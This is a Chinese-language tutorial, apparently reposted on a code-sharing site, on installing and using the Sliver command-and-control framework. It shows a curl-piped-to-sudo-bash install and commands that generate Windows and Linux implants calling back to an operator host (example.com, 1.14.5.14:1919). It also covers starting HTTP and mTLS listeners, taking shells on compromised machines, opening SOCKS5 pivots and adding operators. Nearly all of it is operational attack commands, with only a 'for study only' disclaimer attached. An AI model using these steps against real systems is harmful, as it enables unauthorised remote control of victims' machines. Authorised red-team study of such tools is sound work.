sliver
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
项目地址
使用文档
相关文章
安装
官方一条命令版
# 安装
curl https://sliver.sh/install|sudo bash
# 连接(默认连接本地服务器)
sliver
# 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可
systemctl start sliver
sliver
使用
连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多
sliver 自 1.5 版本开始,支持2种操作模式 Session Mode/Beacon Mode
Beacon Mode 实现了一种异步通信方式，在这种方式中，木马程序定期检查服务器检索任务、执行它们并返回结果。
Session Mode 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。
生成 shell (http)
Session Mode
generate -h
generate --http example.com --save /tmp
# 指定平台
generate --http example.com --save /tmp --os win
generate --http example.com --save /tmp --os linux
Beacon Mode
generate beacon --http example.com --save /tmp
启动监听器
http -h
http --domain example.com
# 查看当前的监听器
jobs
# 关闭监听器
jobs -k [int]
示例
比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马
generate --http http://1.14.5.14:1919 --save /tmp --os win
# 开启一个基于 http 1919 端口的C2
http -l 1919
生成 shell (mtls)
generate --mtls example.com --save /tmp --os win
启动监听器
mtls
jobs
进入 shell
当有主机上线后,控制台会有log提示,我们可以运行 sessions 查看可控制的机器列表
sessions
使用 use 后面跟 session id 指定要控制的目标主机
use [session id]
选中 sessions 后,我们可用2种控制模式
interactive
交互式会话，在 sliver 中某些命令，例如 shell portfwd 仅适用于交互式会话
# 在选中 sessions 后 (仅beacon模式可用)
interactive
close
shell
# 在选中 sessions 后
shell
socks5
- https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS
- https://github.com/BishopFox/sliver/tree/master/client/command/socks
开启 socks5 代理
# 在进入 sessions 后 (仅 session 模式可用)
socks5 start
# 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证
socks5 start --help
关闭 socks5 代理
socks5 stop -i [ID]
多人运动
服务端
/root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg
用户端
# 导入服务端生成的配置文件
sliver import ./f8x.cfg
# 再次启动会让你选择使用哪个 server
sliver
GUI
使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可
点击关注，共同学习！
安全狗的自我修养
原文地址：http://www.cnblogs.com/haidragon/p/16853318.html
1. 本站所有资源来源于用户上传和网络，如有侵权请邮件联系站长！
2. 分享目的仅供大家学习和交流，请务用于商业用途!
3. 如果你也有好源码或者教程，可以到用户中心发布，分享有积分奖励和额外收入！
4. 本站提供的源码、模板、插件等等其他资源，都不包含技术服务请大家谅解！
5. 如有链接无法下载、失效或广告，请联系管理员处理！
6. 本站资源售价只是赞助，收取费用仅维持本站的日常运营所需！
7. 如遇到加密压缩包，默认解压密码为"gltf",如遇到无法解压的请联系管理员！
8. 因为资源和程序源码均为可复制品，所以不支持任何理由的退款兑现，请斟酌后支付下载
声明：如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性
